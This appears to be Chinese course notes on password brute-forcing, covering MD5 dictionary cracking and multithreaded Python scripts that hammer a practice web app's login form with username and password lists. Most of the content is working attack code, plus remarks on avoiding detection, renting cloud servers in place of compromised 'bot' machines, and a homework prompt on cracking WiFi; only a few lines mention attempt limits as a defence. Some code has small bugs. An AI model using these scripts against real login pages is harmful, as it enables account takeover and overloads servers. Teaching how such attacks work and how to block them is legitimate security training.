一、爆破MD5
场景:已知MD5加密字符串,如何得知明文?
解决方案:
算法碰撞,一串128位的MD5(32位16进制)其组合数量
字典碰撞,给定一个字典文件,读取里面的密码明文,再对其进行MD5,
再和目标字符串对比,如果相同,则明文找到。
二、爆破woniusales
1、验证登录请求
使用burp抓包,查看登录的数据怎么构造,以及响应的url地址
2、已知用户名,爆破密码
import time,requests
# 爆破Woniusales:用户名和密码都不知道,1、用户名已知,密码未知
def ws_01():
with open('文件的位置') as file:
pw_list = file.readline()
url = ''
count = 0
for password in pw_list:
data = {'username':'woniu','password':password.strip(),'verifycode':'0000'}
resp = requests.post(url=url,data=data) #去进行post请求
if 'login-fail' not in resp.text:
print(f"疑似破解成功,密码为:{password.strip()}")
exit()
count += 1
print(f'共计尝试{count}次')
if __name__ == '__main__':
# md5('cxcsd')
ws_01()
3、未知用户名,未知密码爆破
# 未知用户名,未知密码,多线程并进行破解
#500用户,6000条密码,最多300万次登录操作,
# 同时,由于多线程并发登录,导致服务器压力倍增(DOS),进而导致服务器响应时间会显著变慢
# 如果服务器不小心崩溃,那么很有可能引起重视,进而检测访问日志,封锁IP,(DDOS可以更好模拟)
# 每一个用户一个线程,每个线程循环6000次
count = 0
def ws_thread(username):
with open('密码文件的位置') as file:
pw_list = file.readlines()
url = 'http://' # 这儿的路径是登录界面响应的界面
global count
for password in pw_list:
data = {'username': username, 'password': password.strip(), 'verifycode': '0000'}
resp = requests.post(url=url, data=data) # 去进行post请求
if 'login-fail' not in resp.text:
print(f"疑似破解成功,密码为:{password.strip()}")
exit()
count += 1
print(f'共计尝试{count}次')
# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10():
pass
if __name__ == '__main__':
# 多线程,读取用户字典,并遍历获取用户名
with open('用户文件所在的位置') as file:
user_list = file.readlines()
for username in user_list:
# 这儿有多少个线程,我就并发多少个用户
threading.Thread(target=ws_thread,args=(username.strip(),)).start()
采用多线程去处理大数据
# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10(sublist):
# 怎么去分配任务-->指派任务--》指派更加有规律的方式--》分类的方式
#先进行列表的可行性分析
# with open('用户文件') as file:
# user_list = file.readlines()
# # print(user_list[0:10]) # 可以通过切片的方式进行操作
# # print(user_list[10:20])
# # print(user_list[20:30])
# # # 通过列表切片的方式将列表分配到每一个小组里,每个小组10个用户
# for i in range(0,len(user_list),10): # 对列表进行切片处理分成一个子列表
# print(user_list[i:i+10])
with open('密码文件的位置') as file:
pw_list = file.readlines()
for username in sublist:
url = ''
for password in pw_list:
data = {'username': username.strip(), 'password': password.strip(), 'verifycode': '0000'}
resp = requests.post(url=url, data=data) # 去进行post请求
if 'login-fail' not in resp.text:
print(f"疑似破解成功,账号为{username.strip()}, 密码为:{password.strip()}")
exit()
if __name__ == '__main__':
# 每个线程负责10个用户
with open("用户的位置") as file:
user_list = file.readlines()
for i in range(0,len(user_list),10):
sublist = user_list[i:i+10] # 设置子进程,核心点是切片,作为参数把列表传递过去
threading.Thread(target=ws_thread_10,args=(sublist,)).start()
三、爆破条件与防范
1.登录成功或失败的条件可验证
2.服务器端允许多次失败登录而不会禁止
首先监控到登录的请求 ,查看通行的过程
查看登录是发送了那些字段,
查看登录后的响应,
从流量上来看DOS攻击和暴力破解特征是一样的
暴力破解的点
一、应用场景:
只要有密码的地方,均可以尝试使用爆破方案
二、应用条件:
爆破不受次数的限制,可以一直尝试,所以爆破的防护方案:次数限制,
没有肉鸡怎么办?
去云服务器平台临时租赁
爆破分类:
离线爆破
在线爆破
作业:如何爆破wifi?如何防护?
爆破WiFi简单粗暴的进入内网。
一个进程,的线程有限,如何能够提升并发能力呢?
1.将任务分配到不同电脑上,
2.在同一台电脑上运行多个程序。